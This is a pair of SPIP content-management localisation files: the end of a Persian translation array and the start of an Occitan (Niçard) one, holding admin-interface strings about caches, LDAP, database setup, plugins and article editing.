'repertoire_plugins' => 'رپرتوار:',
// S
'sans_heure' => 'زمان نامشخص',
'statut_admin_restreint' => '(اداره محدود)', # MODIF
// T
'tache_cron_asap' => 'وظيفهي CRON @function@ (ASAP)', # MODIF
'tache_cron_secondes' => 'وظيفهي CRON @function@ (تمام @nb@)', # MODIF
'taille_cache_image' => 'اندازه ى تصاوير, كه توسط اسپيپ حساب شده ( تصاوير كوچك اسناد, عناوين گرافيكى عرضه شده, كاربردهاى رياضى با فرمهاى TeX...) در رپرتوار @dir@جمعا @taille@ را اشغال ميكنند.',
'taille_cache_infinie' => 'اين سايت محدوديت اندازه ى رپرتوار Cache را پيش بينى نميكند.',
'taille_cache_maxi' => 'اسپيپ سعى در محدود كردن اندازه ى رپرتوار Cache به اين اندازه دارد <b>@octets@</b>.',
'taille_cache_moins_de' => 'اندازهي حافظهي پنهان كمتر از@octets@ است.',
'taille_cache_octets' => ' اندازه ى فايل پنهان در حال حاضر تقريبا @octets@ است. ',
'taille_cache_vide' => 'فايل پنهان خالى است.',
'taille_repertoire_cache' => 'اندازه ى فايل پنهان',
'text_article_propose_publication' => ' مقالهى پيشنهادى براى انتشار.',
'texte_acces_ldap_anonyme_1' => 'تعدادى از سرورهاى ال دى اپى ورود بدون نام را نميپذيرند. در اينصورت شما بايد يك نام شناسايى را مشخص كنيد تا بتوانيد به اطلاعات راهنما دسترسى داشته باشيد. در بيشتر موارد ميادين بعدى را ميتوان خالى گذاشت.',
'texte_admin_effacer_01' => 'اين فرمان محتوى داده پى ها، همچنين دسترسى نويسندگان و گردانندگان به سايت را كاملأ پاك خواهد كرد، در صورت اجراى آن شما بايد اسپيپ را دوباره نصب كنيد تا بتوانيد پايگاه جديدى همراه با حق استفاده براى گردانندگان را داشته باشيد.',
'texte_adresse_annuaire_1' => 'اگر راهنماتان در همان رايانه اى نصب شده كه سايت تارنما، احتمالا مربوط است به :«localhost» ',
'texte_ajout_auteur' => 'نام نويسنده بعدى به مقاله اضافه شد :',
'texte_annuaire_ldap_1' => 'اگر شما به راهنماى ال دى ا پى دسترسى داريد، ميتوانيد بطور خودكار كاربران را به اسپيپ اضافه كنيد',
'texte_article_statut' => 'اين مقاله :',
'texte_article_virtuel' => 'مقاله مجازى',
'texte_article_virtuel_reference' => ' <b>مقاله مجازى :</b> مقاله پيوندى شما در سايت اسپيپ است، اما شما ميتوانيد آنرا به آدرس ديگرى هدايت كنيد.براى اينكار بايد آدرس زيرى را حذف كنيد (URL)',
'texte_aucun_resultat_auteur' => 'جستجوى بى نتيجه براى"@cherche_auteur@"',
'texte_auteur_messagerie' => ' اين سايت ميتواند ليست نويسندگان متصل به سايت را بطور دائم نشان دهد اين بشما امكان رد و بدل كردن پيام را بطور مستقيم ميدهد. شما همچنين ميتوانيد گزينش «نامرئي» را انتخاب كنيد',
'texte_auteur_messagerie_1' => 'اين سايت امكان تبادل پيام و تشكيل سخنگاه خصوصى را بين كاربران سايت ميدهد. شما ميتوانيد در اين مباحثات شركت نكنيد.',
'texte_auteurs' => 'نويسندگان',
'texte_choix_base_1' => 'پايگاه تان را انتخاب كنيد :',
'texte_choix_base_2' => 'سرور اس كيوال حاوى چند داده پى است.',
'texte_choix_base_3' => 'پايگاهى را كه توسط ميزبانتان بشما داده شده <b>انتخاب كنيد</b>:',
'texte_choix_table_prefix' => 'پیشوند جدولها:',
'texte_commande_vider_tables_indexation' => 'از اين فرمان براى خالى كردن صفحات فهرست گذارى شده براى موتور جستجو استفاده نماييد كه بشما همچنين امكان سبك كردن ديسك سختتان را ميدهد',
'texte_compatibilite_html' => 'ميتوانيد از اسپيپ بخواهيد تا، روي سايت همگاني، كد سازگار با نرم <i>HTML4</i> ايجاد كند، يا به اسپيپ اجازه دهيد تا از از امكانات مدرنتر <i>HTML5</i> استفاده كند. ',
'texte_compatibilite_html_attention' => 'در فعالسازي گزينهي <i>HTML5</i> هيچ خطري وجود ندارد، اما در آن صورت، صفحههاي سايت شما بايد با كد: <code><!DOCTYPE html></code> شروع شوند تا معتبر باشند. ',
'texte_compresse_ou_non' => '(از اين ميتوان بصورت فشرده يا غير فشرده استفاده كرد)',
'texte_compte_element' => 'عنصر @count@ ',
'texte_compte_elements' => ' @count@ عنصر',
'texte_conflit_edition_correction' => 'لطفاً تفاوتهاي دو متن زير را چك كنيد؛ نيز ميتوانيد اصلاحات خود را روبرداري كرده و سپس از نو شروع كنيد.',
'texte_connexion_mysql' => 'اطلاعات داده شده توسط ميزبانتان را بخوانيد: اين اطلاعات بايد كدهاي ارتباطي با سرور ماياسكيوال شما را داشته باشد.',
'texte_contenu_article' => '(محتوى مقاله در چند كلمه)',
'texte_contenu_articles' => 'بنابر ماكت مورد استفاده سايتتان، شما ميتوانيد تصميم به استفاده تنها تعدادى از اجزاى مقالات را بگيريد. از ليست زير براى انتخاب اجزاى مورد نيازتان استفاده كنيد.',
'texte_crash_base' => 'اگر داده پى هايتان از بين رفتند، ميتوانيد گزينش ترميم خودكار را آزمايش كنيد',
'texte_creer_rubrique' => 'پيش از نوشتن مقاله، شما بايد يك بخش بسازيد',
'texte_date_creation_article' => ' تاريخ نوشتن مقاله',
'texte_date_creation_objet' => 'تاريخ ايجاد', # on ajoute le ":"
'texte_date_publication_anterieure' => 'تاريخ نگارش قبلى:',
'texte_date_publication_anterieure_nonaffichee' => 'تاريخ نگارش قبلى را اعلان نكنيد.',
'texte_date_publication_article' => 'تاريخ انتشار بروى تارنما:',
'texte_date_publication_objet' => 'تاريخ نشر وصلخط:',
'texte_descriptif_petition' => 'توصيف سخنگاه',
'texte_descriptif_rapide' => 'توصيف سريع',
'texte_effacer_base' => 'داده پى هاى اسپيپ را پاك كنيد',
'texte_effacer_donnees_indexation' => 'داده هاى فهرست گذارى را پاك كنيد',
'texte_effacer_statistiques' => 'حذف آمارها',
'texte_en_cours_validation' => 'مطالب زير در انتظار تأييد هستند. ',
'texte_enrichir_mise_a_jour' => 'شما ميتوانيد صفحه بندى متن تان را با بعضى از علائم آراسته كنيد (مانند كروشه، آكولاد،...)',
'texte_fichier_authent' => '<b>آيا سپيپ بايد فايلهاى <tt>.htpasswd</tt>
و <tt>.htpasswd-admin</tt> را در دايركتوري @dossier@ بسازد؟</b><p>
اين فايلها ميتوانند بشما در محدود كردن دسترسى نويسندگان وگردانندگان سايت در جاهاى ديگر( براى مثال برنامه خارجى آمار) كمك كنند).</p><p>
اگر به اين گزينه نياز نيست، اسپيپ خودبخود آنرا اداره ميكند (بدون ساخت فايلها)</p>.', # MODIF
'texte_informations_personnelles_1' => 'اكنون سيستم براى شما دسترسى انحصارى به سايت را درست ميكند.',
'texte_informations_personnelles_2' => 'تذكر : اگر موضوع مربوط به نصب دوباره ميباشد، وشما هنوز دسترسى به سايت داريد، ميتوانيد', # MODIF
'texte_introductif_article' => '(متن مقدمه اى مقاله.)',
'texte_jeu_caractere' => 'بشما توصیه میشود برای سایتتان از الفبای جهانی (<tt>utf-8</tt> استفاده کنید زیرا امکان خواندن متنها در تمامی زبانها را میدهد و مشکلی هم برای مرورگرهای جدید پدید نمیآورد. ',
'texte_jeu_caractere_2' => 'توجه : این تنظیم موجب وارانگی متنهایی که از پیش در داده پی ها ضبط شده اند را نمیشود.',
'texte_jeu_caractere_3' => 'سایت شما اکنون نویسه ها را مستقر کرد.',
'texte_jeu_caractere_4' => 'اگر این نویسه ها با سایت شما مطابق نیست (برای مثال پس از بازسازی داده پی ها) یا اینکه شما مایل به بکارگیری نویسه های دیگری هستید آنرا در اینجا مشخص کنید:',
'texte_jeu_caractere_conversion' => 'شما میتواند یکبار برای همیشه از الفبای <tt>utf-8</tt> برای تمامی سایتتان استفاده کنید برای این منظور شما باید به این پیوند <a href="@url@"> که معرف تبدیل به یونی کدutf-8</a> است بروید.',
'texte_lien_hypertexte' => 'اگر پيامتان به يك مقاله در تارنما مربوط ميشود، يا به يك صفحه با اطلاعات بيشتر، خواهشمند است كه عنوان صفحه و آدرس آنرا در زير مشخص كنيد.',
'texte_login_ldap_1' => '(براى ورود بى نام، خالى بگذاريد، يا تمام مسير را درج كنيد، براى مثال« <tt>uid=dupont, ou=users, dc=mon-domaine, dc=com</tt> ».)',
'texte_login_precaution' => 'توجه ! شما با اين كد متصل شديد. از اين پرسشنامه با احتياط استفاده كنيد.',
'texte_message_edit' => 'توجه ! اين پيام ميتواند توسط همه گردانندگان سايت اصلاح شود، و براى همه نويسندگان قابل رويت است. از اعلانات فقط براى عرضه وقايع مهم سايت استفاده كنيد.',
'texte_messagerie_agenda' => 'يك سامانهي پيامدهي به نويسندگان سايت امكان ميدهد تا در قسمت شخصي به صورت مستقيم با يكديگر ارتباط برقرار كنند. اين سامانه به تقويم نيز لينك ميشود. ',
'texte_mise_a_niveau_base_1' => 'شما فايلهاى اسپيپ را نو كرديد.
اكنون بايد داده پى هاى سايت را ميزان كنيد.
',
'texte_modifier_article' => 'مقاله را اصلاح كنيد :',
'texte_moteur_recherche_active' => '<b>موتور جستجو فعال شده.</b>اين فرمان را هنگام مبادرت به فهرست گذارى سريع استفاده كنيد (براى مثال پس از باسازى ذخيره). توجه داشته باشيد كه اسناد اصلاح شده بطريقه عادى بطور خودكار فهرست گذارى ميشوند : اين فرمان براى موارد استثنايى ميباشد.',
'texte_moteur_recherche_non_active' => 'موتور جستجو فعال نميباشد. ',
'texte_multilinguisme' => 'اگر شما مايل به اداره مقالات به چند زبان باشيد، ميتوانيد يك فهرست از زبانهاى انتخابى را در مورد مقالات و بخشها ، در رابطه با تركيب سايتتان اضافه كنيد.', # MODIF
'texte_multilinguisme_trad' => 'شما همچنين ميتوانيد سيستم اداره پيوندهاى بين برگردان هاى گوناگون از يك مقاله را فعال كنيد.', # MODIF
'texte_non_compresse' => '<i>فشرده نشده</i> (سرور شما اين عملكرد را قبول نميكند)',
'texte_nouveau_message' => 'پيام جديد',
'texte_nouvelle_version_spip_1' => 'شما نسخه جديد اسپيپ را نصب كرده ايد.',
'texte_nouvelle_version_spip_2' => 'اين نسخه جديد نياز به روزآمدسازي كامل تر دارد. اگر شما وب مستر سايت هستيد لطفا فايل @connect@ را پاك كنيد و دوباره نصب اسپيپ را از سر بگيريد تا پارامترهاى اتصال داده پى ها نو شوند.<p>(اگر شما پارامترهاى اتصال را فراموش كردهايد، ميتوانيد به فايل زير مراجعه كنيد @connect@ (پيش از اينكه آنرا حذف كنيد...)</p>',
'texte_operation_echec' => 'به صفحه پيشين برگرديد، يك پايگاه انتخاب كنيد يا اينكه جديدش را بسازيد.اطلاعات داده شده توسط ميزبانتان را در مدنظر داشته باشيد.',
'texte_plus_trois_car' => 'بيش از سه حرف',
'texte_plusieurs_articles' => 'براى اين جستجو چندين نويسنده پيدا شده: "@cherche_auteur@"',
'texte_port_annuaire' => '(ارزش مشخص شده عموما مناسب است)',
'texte_presente_plugin' => 'این صفحه فهرست plugins موجود را نشان میدهد. برای فعال کردن آنها مربع مربوطه را علامت بزنید.',
'texte_proposer_publication' => 'هنگاميكه مقاله تان تمام شد ميتوانيد پيشنهاد انتشارش را بكنيد.',
'texte_proxy' => 'در بعضى موارد (اينترانت، شبكه هاى محافظت شده،...) براى دسترسى به سايتهاى پيوندى نياز به پروكسى داريد. <i>proxy HTTP</i> در اينصورت آدرسها را در زير به اين شكل مشخص كنيد
<tt><html>http://proxy:8080</html></tt>معمولا بهتر است اين مربع را خالى بگذاريد ',
'texte_publication_articles_post_dates' => 'اسپيپ بايد چه واكنشى را در مورد مقالاتى كه موعد تاريخ انتشارشان در آينده منقضى ميشود بپذيرد؟',
'texte_rappel_selection_champs' => '[اين موارد را درست انتخاب كنيد.]',
'texte_recalcul_page' => 'اگر ميخواهيد تنها يك صفحه را نو كنيد، بهتر است كه به قسمت همگانى رويد و بروى دكمه «تازه كنيد» كليك كنيد.',
'texte_recapitiule_liste_documents' => 'اين صفحه فهرست اسنادى را كه شما در بخشها گذاشته ايد را بطور خلاصه نشان ميدهد براى اصلاح هر سند، پيوند صفحه را با بخش دنبال كنيد.',
'texte_recuperer_base' => 'داده پى ها را ترميم كنيد',
'texte_reference_mais_redirige' => 'مقاله پيوندى در سايت اسپيپ، كه به آدرس ديگرى هدايت شده.',
'texte_requetes_echouent' => '<b>هنگاميكه بعضى از جويشهاي اس كيو ال بدون هيچ دليلى به صورت سيستماتيك پذيرفته نميشوند، اين احتمال وجود دارد كه از پايگاه دادهها باشد.</b><p>
سرور اس كيوال توانائى ترميم جداولش را هنگاميكه براثر حادثه خراب شده باشند دارد.شما ميتوانيد اقدام به ترميم آنها كنيد، در صورت شكست، يك كپى از فهرست اشكالات را نگه داريد ...</p><p>
اگر مشكل حل نشد، با ميزبانتان تماس بگيريد.</p>',
'texte_selection_langue_principale' => 'شما ميتوانيد در زير زبان اصلى سايت را انتخاب كنيد.اين گزينش شما را مجبور به نوشتن در زبان انتخابى نميكند،<ul><li> ولى امكان تعيين تاريخ، نوع موتورى كه اسپيپ بايد استفاده كند تا متون قابل رويت باشند، زبان پرسشنامه ها در قسمت همگانى سايت و همچنين زبان قسمت خصوصى را ميدهد.<ul><li>',
'texte_sous_titre' => 'عنوان فرعى',
'texte_statistiques_visites' => 'خطوط پررنگ : يكشنبه / منحنى پررنگ : ميانگين تحولات ',
'texte_statut_attente_validation' => 'در انتظار تائيد',
'texte_statut_publies' => 'برروى تارنما منتشر شود',
'texte_statut_refuses' => 'پذيرفته نشده',
'texte_suppression_fichiers' => 'از اين فرمان براى حذف تمام فايلها موجود در فايلهاى موقت اسپيپ استفاده كنيد.
اين بشما امكان نو كردن تمام صفحات را ميدهد بويژه اگر شما تغييرات مهمى در نما يا در ساختار سايت داده باشيد.',
'texte_sur_titre' => 'سر عنوان',
'texte_table_ok' => 'اين جدول درست است :',
'texte_tables_indexation_vides' => 'جداول فهرست گذاى موتور جستجو خالى ميباشند',
'texte_tentative_recuperation' => 'كوشش براى تعمير',
'texte_tenter_reparation' => 'اقدام به ترميم داده پى ها كنيد',
'texte_test_proxy' => 'براى امتحان اين پروكسى، آدرس سايت تارنماى مورد دلخواهتان را در اينجا درج كنيد.',
'texte_titre_02' => 'عنوان :',
'texte_titre_obligatoire' => '<b>عنوان</b> [اجبارى]',
'texte_travail_article' => '@nom_auteur_modif@ بروى اين مقاله @date_diff@ پيش كار كرده است.',
'texte_travail_collaboratif' => 'اين امكان وجود دارد كه يك مقاله توسط چند نويسنده نوشته شده باشد. اسپيپ ميتواند مقالات تازه وارد شده را نشان دهد تا از تغييرات همزمان جلوگيرى كند.
اين گزينش معمولا غير فعال ميباشد تا از اعلان خبرهاى بيموقع جلوگيرى كند.
',
'texte_trop_resultats_auteurs' => 'ازدياد نتايج براى :"@cherche_auteur@" خواهشمند است جستجو را دقيقتر كنيد.',
'texte_unpack' => 'استقرار آخرين نسخه',
'texte_utilisation_moteur_syndiques' => 'هنگاميكه از موتور جستجوى اسپيپ استفاده ميكنيد، ميتوانيد به دو صورت مقالات و سايتهاي اشتراكي را جستجو كنيد.<br /> ساده ترين راه، جستجو در عناوين و توصيفات مقالات است. <br />-
راه دوم كه بسيار قوى تر است، به اسپيپ امكان ميدهد كه درون متون سايتهاى اشتراكي را هم جستجو كند.اگر شما سايتى را اشتراكي كنيد، اسپيپ جستجو را تا متن سايت دنبال ميكند.',
'texte_utilisation_moteur_syndiques_2' => 'اين شيوه اسپيپ را مجبور به بازديد منظم سايتهاى مرجع ميكند
كه باعث كندى سرعت در سايتتان خواهد شد.',
'texte_vide' => 'خالى',
'texte_vider_cache' => 'فايل هاى موقت را خالى كنيد',
'titre_admin_effacer' => 'نگهدارى و تعميرات فنى',
'titre_admin_tech' => 'نگهدارى و تعميرات فنى',
'titre_admin_vider' => 'نگهدارى و تعميرات فنى',
'titre_ajouter_un_auteur' => 'افزودن يك مؤلف',
'titre_ajouter_un_mot' => 'افزودن يك كليد-واژه',
'titre_ajouter_une_rubrique' => 'افزودن يك بخش',
'titre_cadre_afficher_article' => 'مقالات را نمايش دهيد',
'titre_cadre_afficher_traductions' => ' وضعيت برگردانها را براى زبانهاي زير نشان دهيد :',
'titre_cadre_ajouter_auteur' => 'يك نويسنده اضافه كنيد :',
'titre_cadre_interieur_rubrique' => 'در داخل بخش',
'titre_cadre_numero_auteur' => 'نويسنده شماره',
'titre_cadre_numero_objet' => '@objet@ شمارهي: ',
'titre_cadre_signature_obligatoire' => '<b>امضا</b> [اجبارى]<br />',
'titre_config_contenu_notifications' => 'اخطاريهها',
'titre_config_contenu_prive' => 'در قسمت شخصي',
'titre_config_contenu_public' => 'در سايت همگاني',
'titre_config_fonctions' => 'پيكربندى سايت',
'titre_config_langage' => 'پيكربندي زبان',
'titre_configuration' => 'پيكربندى سايت',
'titre_configurer_preferences' => 'پيكربندي ترجيحهاي شما',
'titre_conflit_edition' => 'ناسازگاري هنگام ويرايش ',
'titre_connexion_ldap' => 'گزينش : <b>اتصال LDAP</b>',
'titre_groupe_mots' => 'گروه واژه ها :',
'titre_identite_site' => 'هويت سايت',
'titre_langue_article' => 'زبان مقاله',
'titre_langue_rubrique' => 'زبان بخش',
'titre_langue_trad_article' => 'زبان و ترجمه هاى مقاله ',
'titre_les_articles' => 'مقالات',
'titre_messagerie_agenda' => 'سامانه پيامدهي و روزنويسي ',
'titre_naviguer_dans_le_site' => 'در سايت گردش كنيد',
'titre_nouvelle_rubrique' => 'بخش جديد',
'titre_numero_rubrique' => 'بخش شماره :',
'titre_page_admin_effacer' => 'نگهدارى و تعمير سايت : پايگاه را پاك كنيد',
'titre_page_articles_edit' => 'اصلاح كنيد :@titre@',
'titre_page_articles_page' => 'مقالات',
'titre_page_articles_tous' => 'تمام سايت',
'titre_page_auteurs' => 'بازديد كنندگان',
'titre_page_calendrier' => 'سالنما @nom_mois@ @annee@',
'titre_page_config_contenu' => 'پيكربندى سايت',
'titre_page_config_fonctions' => 'پيكربندى سايت',
'titre_page_configuration' => 'پيكربندى سايت',
'titre_page_controle_petition' => 'دنباله درخواست',
'titre_page_delete_all' => 'حذف كامل و غير قابل برگشت',
'titre_page_documents_liste' => 'اسناد بخشها',
'titre_page_index' => 'محوطه شخصي تان',
'titre_page_message_edit' => 'يك پيام بنويسيد',
'titre_page_messagerie' => 'پيام گيرتان',
'titre_page_recherche' => 'نتايج جستجوى@recherche@',
'titre_page_statistiques_referers' => 'آمار (پيوندهاى وارد شده)',
'titre_page_statistiques_signatures_jour' => 'تعداد امضاءكنندگان يك روز',
'titre_page_statistiques_signatures_mois' => 'تعداد امضاء كنندگان در يك ماه',
'titre_page_upgrade' => 'همسان كردن اسپيپ',
'titre_publication_articles_post_dates' => 'انتشار مقالات با تاريخ آينده',
'titre_referencer_site' => 'سايت را ارجاع دهيد : ',
'titre_rendez_vous' => 'ملاقات :',
'titre_reparation' => 'تعمير',
'titre_suivi_petition' => 'دنباله درخواستها',
'tls_ldap' => 'Transport Layer Security :',
'trad_article_inexistant' => 'مقاله اى با اين شماره يافت نميشود.',
'trad_article_traduction' => 'تمام ترجمه هاى اين مقاله :',
'trad_deja_traduit' => 'اشتباه : ربط دادن اين مقاله به اين شماره غيرممكن است.',
'trad_delier' => 'پيوند به اين ترجمههاي متوقف شود',
'trad_lier' => 'اين مقاله برگردان مقاله شماره زير ميباشد :',
'trad_new' => 'ترجمهي جديد',
// U
'upload_info_mode_document' => 'اين تصوير را در پروندهي هنري بگذار',
'upload_info_mode_image' => 'اين تصوير را از پروندهي هنري حذف كن',
'utf8_convert_attendez' => 'چند لحظه صبر کنید سپس این صفحه را تازه کنید.',
'utf8_convert_avertissement' => 'شما آماده ی تبدیل محتوی سایت از نویسه های <b>@orig@</b> به نویسه های <b>@charset@</b> هستید.',
'utf8_convert_backup' => 'پیش از هر چیز فراموش نکنید که داده هایتان را ضبط کنید. شما باید همچنین ببینید که اسکلتها و فایلهای زبانتان با @charset@ همخوانی دارد.',
'utf8_convert_erreur_deja' => 'سایت شما با @charset@ میباشد تبدیل لازم نیست.',
'utf8_convert_erreur_orig' => 'اشتباه: نویسه های @charset@ پذیرفته نمیشود.',
'utf8_convert_termine' => 'پایان یافت!',
'utf8_convert_timeout' => 'مهم: درصورت <i>timeout</i> سرورها لطفأ صفحه را تا نمایان شدن «پایان» نو کنید.',
'utf8_convert_verifier' => 'شما اکنون باید فایل cache را خالی کنید پیشتر مطمئن شوید که در صفحات سایت مشکلی دیده نمیشود. در صورت اشکال ذخیره ی داده هایتان را به صورت (format SQL) در رپرتوار @rep@ مییابید.',
'utf8_convertir_votre_site' => 'تبدیل سایتتان به utf-8',
// V
'version' => 'نسخه:'
);
?>
ecrire_oc_ni.php 0000666 00000161054 15252547432 0007721 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/ecrire_?lang_cible=oc_ni
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'activer_plugin' => 'Activar lo plugin',
'affichage' => 'Afichage',
'aide_non_disponible' => 'Aquela part de l’ajuda en linha es pas encara disponibla per aquesta lenga.',
'auteur' => 'Autor :',
'avis_acces_interdit' => 'Accès proïbit.',
'avis_article_modifie' => 'Atencion, @nom_auteur_modif@ a travalhat sus aquel article fa @date_diff@ minutas',
'avis_aucun_resultat' => 'Minga de resultat.',
'avis_chemin_invalide_1' => 'Lo camin qu’avètz chausit',
'avis_chemin_invalide_2' => 'sembla pas valid. Vorgatz tornar à la pàgina anteriora e verificar li informacions fornidi.',
'avis_connexion_echec_1' => 'La conexion à la base de donadas a soït.',
'avis_connexion_echec_2' => 'Tornatz à la pàgina anteriora, e verificatz li informacions qu’avètz fornidi.',
'avis_connexion_echec_3' => '<b>N.B.</b> Sus totplen de servidors, devètz <b>demandar</b> l’activacion dau voastre accès à la basa de donadas denant de la poder utilisar. Se vos podètz pas connectar, verificatz qu’avètz ben realisat aqueu procediment.',
'avis_connexion_ldap_echec_1' => 'La connexion au servidor LDAP a soït.',
'avis_connexion_ldap_echec_2' => 'Tornatz a la pàgina anteriora, e verificatz li informacions que nos avètz fornidi. ',
'avis_connexion_ldap_echec_3' => 'D’un biais alternatiu, utilisetz pas lo supoart LDAP per importar d’utilisaires.',
'avis_deplacement_rubrique' => 'Dàida ! Aquela rubrica conten @contient_breves@ brèva@scb@ : se la desplaçatz, vorgatz ben faire una taca dins aquela casa de confirmacion.',
'avis_destinataire_obligatoire' => 'Devètz indicar un destinatari denant de mandar aqueu messatge.',
'avis_erreur_connexion_mysql' => 'Error de conexion SQL',
'avis_erreur_version_archive' => '<b>Dàida ! Lo fichier @archive@ correspoande à una autra version de SPIP qu’aquela qu’avètz installada.</b> Anatz vèrs de bèli dificultats : risca de destruccion de la voastra basa de donadas, disfoncionaments divèrs dau sit, eca. Non validetz aquela demanda d’importacion. <p>Per mai d’informacions, veguètz <a href="@spipnet@">la documentacion de SPIP</a>.</p>',
'avis_espace_interdit' => '<b>Espaci proïbit</b><div>SPIP es ja installat.</div>',
'avis_lecture_noms_bases_1' => 'Lo programa d’installacion a pas poscut lièger lu noms dei basas de donadas installadi.',
'avis_lecture_noms_bases_2' => 'Sia minga de basa es pas disponibla, sia la foncion que permete d’entierar li basas es estada desactivada per de rasons de seguretat (cen qu’es lo cas de plusors aubergadors).',
'avis_lecture_noms_bases_3' => 'Dins la segonda alternativa, es probable qu’una basa que poarta lo voastre nom de connexion sigue utilisabla :',
'avis_non_acces_message' => 'Avètz pas accès à-n-aqueu messatge.',
'avis_non_acces_page' => 'Avètz pas accès à-n-aquela pàgina.',
'avis_operation_echec' => 'L’operacion a soït.',
'avis_operation_impossible' => 'Operacion impossibla',
'avis_probleme_archive' => 'Problèma de lectura dau fichier @archive@',
'avis_suppression_base' => 'MÈFI, la supression dei donadas es irreversibla',
'avis_version_mysql' => 'Lo voastre servidor SQL (@version_mysql@) permete pas l’autoreparacion dei taulas de la basa.',
// B
'bouton_acces_ldap' => 'Ajustar l’accès à LDAP',
'bouton_ajouter' => 'Ajustar',
'bouton_ajouter_participant' => 'AJUSTAR UN PARTICIPANT :',
'bouton_annonce' => 'ANONÇA',
'bouton_annuler' => 'Anular',
'bouton_checkbox_envoi_message' => 'possibilitat de mandar un messatge',
'bouton_checkbox_indiquer_site' => 'indicar obligatòriament un sit web',
'bouton_checkbox_signature_unique_email' => 'una soleta signatura per adreça e-mail',
'bouton_checkbox_signature_unique_site' => 'una soleta signatura per sit web',
'bouton_demande_publication' => 'Demandar la publicacion d’aquest article',
'bouton_desactive_tout' => 'Desactivar tot',
'bouton_effacer_index' => 'Escaçar lu indèx',
'bouton_effacer_tout' => 'Escaçar TOT',
'bouton_envoi_message_02' => 'MANDAR UN MESSATGE',
'bouton_envoyer_message' => 'Messatge definitiu: mandar',
'bouton_modifier' => 'Modificar',
'bouton_pense_bete' => 'NÒTA DE RENEMBRANÇA (D’USATGE PERSONAU)',
'bouton_radio_activer_messagerie' => 'Activar la messatgeria interna',
'bouton_radio_activer_messagerie_interne' => 'Activar la messatgeria interna',
'bouton_radio_activer_petition' => 'Activar la peticion',
'bouton_radio_afficher' => 'Afichar',
'bouton_radio_apparaitre_liste_redacteurs_connectes' => 'Afichar dins la tiera dei redactors connectats',
'bouton_radio_desactiver_messagerie' => 'Desactivar la messatgeria',
'bouton_radio_envoi_annonces_adresse' => 'Mandar li anonças à l’adreça :',
'bouton_radio_envoi_liste_nouveautes' => 'Mandar la tiera dei noveutats',
'bouton_radio_non_apparaitre_liste_redacteurs_connectes' => 'Aparéisser pas dins la tiera dei redactors',
'bouton_radio_non_envoi_annonces_editoriales' => 'Mandar pas d’anonças editoriali',
'bouton_radio_pas_petition' => 'Minga de peticion',
'bouton_radio_petition_activee' => 'Peticion activada',
'bouton_radio_supprimer_petition' => 'Suprimir la peticion',
'bouton_redirection' => 'TORNAR DIRIGIR',
'bouton_relancer_installation' => 'Tornar lançar l’installacion',
'bouton_suivant' => 'Seguent',
'bouton_tenter_recuperation' => 'Provar d’adobar',
'bouton_test_proxy' => 'Provar lo proxy',
'bouton_vider_cache' => 'Vuar l’amagador',
'bouton_voir_message' => 'Veire aqueu messatge denant de lo validar',
// C
'cache_mode_compresse' => 'Lu fichièrs de l’amagador son registrats en mòde comprimit.',
'cache_mode_non_compresse' => 'Lu fichièrs de l’amagador son registrats en mòde non comprimit.',
'cache_modifiable_webmestre' => 'Lo webmèstre dau sit pòu modificar aquèu paramètre.',
'calendrier_synchro' => 'S’utilisatz un logiciau d’agenda compatible <b>iCal</b>, lo podètz sincronisar emb li informacions d’aqueu sit.',
'config_info_logos' => 'Cada element dau site paut aver un lògo, e un « lògo de sobrevòl »',
'config_info_logos_utiliser' => 'Utilisar lu lògos',
'config_info_logos_utiliser_non' => 'Non utilisar lu lògos',
'config_info_logos_utiliser_survol' => 'Utilisar lu lògos de sobrevòl',
'config_info_logos_utiliser_survol_non' => 'Non utilisar lu lògos de sobrevòl',
'connexion_ldap' => 'Conexion :',
'copier_en_local' => 'Copiar localament',
// D
'date_mot_heures' => 'oras',
// E
'email' => 'e-mail',
'email_2' => 'e-mail:',
'entree_adresse_annuaire' => 'Adreça de l’annuari',
'entree_adresse_email' => 'La voastra adreça e-mail',
'entree_base_donnee_1' => 'Adreça de la basa de donadas',
'entree_base_donnee_2' => '(Soventi fès, aquela adreça correspoande à-n-aquela dau voastre sit, de còups que li a, correspoande à la mencion "localhost", d’autres còups, es laissada vuèia completament.)',
'entree_biographie' => 'Biografia brèva, en quauqui paraulas.',
'entree_chemin_acces' => '<b>Ficar</b> lo camin d’accès:',
'entree_cle_pgp' => 'La voastra clau PGP',
'entree_contenu_rubrique' => '(Contengut de la rubrica en quauqui paraulas.)',
'entree_identifiants_connexion' => 'Voastri identificants de connexion...',
'entree_informations_connexion_ldap' => 'Vorgatz intrar dins aqueu formulari li informacions de connexion au voastre annuari LDAD.
Aqueli informacions vos devon poder èstre provesidi per l’administrator dau sistema, ò de la ret.',
'entree_infos_perso' => 'Cu siètz?',
'entree_interieur_rubrique' => 'Dintre la rubrica:',
'entree_liens_sites' => '<b>Ligam ipertèxt</b> (referença, sit da visitar...)',
'entree_login' => 'Lo voastre login',
'entree_login_connexion_1' => 'Lo login de connexion',
'entree_login_connexion_2' => '(Correspoande de còups au voastre login d’accès au FTP; de còups laissat vuèi)',
'entree_login_ldap' => 'Login LDAP inicial',
'entree_mot_passe' => 'Lo voastre mòt de santa Clara',
'entree_mot_passe_1' => 'Lo mòt de santa Clara de connexion',
'entree_mot_passe_2' => '(Correspoande de còups au voastre mòt de santa Clara per lo FTP; de còups es laissat vuèi)',
'entree_nom_fichier' => 'Vorgatz intrar lo nom dau fichier @texte_compresse@:',
'entree_nom_pseudo' => 'Lo voastre nom ò lo voastre pseudonim',
'entree_nom_pseudo_1' => '(Lo voastre nom ò lo voastre pseudonim)',
'entree_nom_site' => 'Lo nom dau voastre sit',
'entree_nouveau_passe' => 'Novèu mòt de santa Clara',
'entree_passe_ldap' => 'Mòt de santa Clara',
'entree_port_annuaire' => 'Lo número de poart de l’annuari',
'entree_signature' => 'Signatura',
'entree_titre_obligatoire' => '<b>Titre</b> [Obligatòri]<br />',
'entree_url' => 'L’adreça (URL) dau voastre sit',
'erreur_plugin_fichier_absent' => 'Fichier assent',
'erreur_plugin_fichier_def_absent' => 'Fichier de definicion assent',
'erreur_plugin_nom_fonction_interdit' => 'Nom de foncion proïbit',
'erreur_plugin_nom_manquant' => 'Nom du plugin mancant',
'erreur_plugin_prefix_manquant' => 'Espaci de nomatge dau plugin non definit',
'erreur_plugin_tag_plugin_absent' => '<plugin> mancant dins lo fichier de definicion',
'erreur_plugin_version_manquant' => 'Pas de version dau plugin',
// I
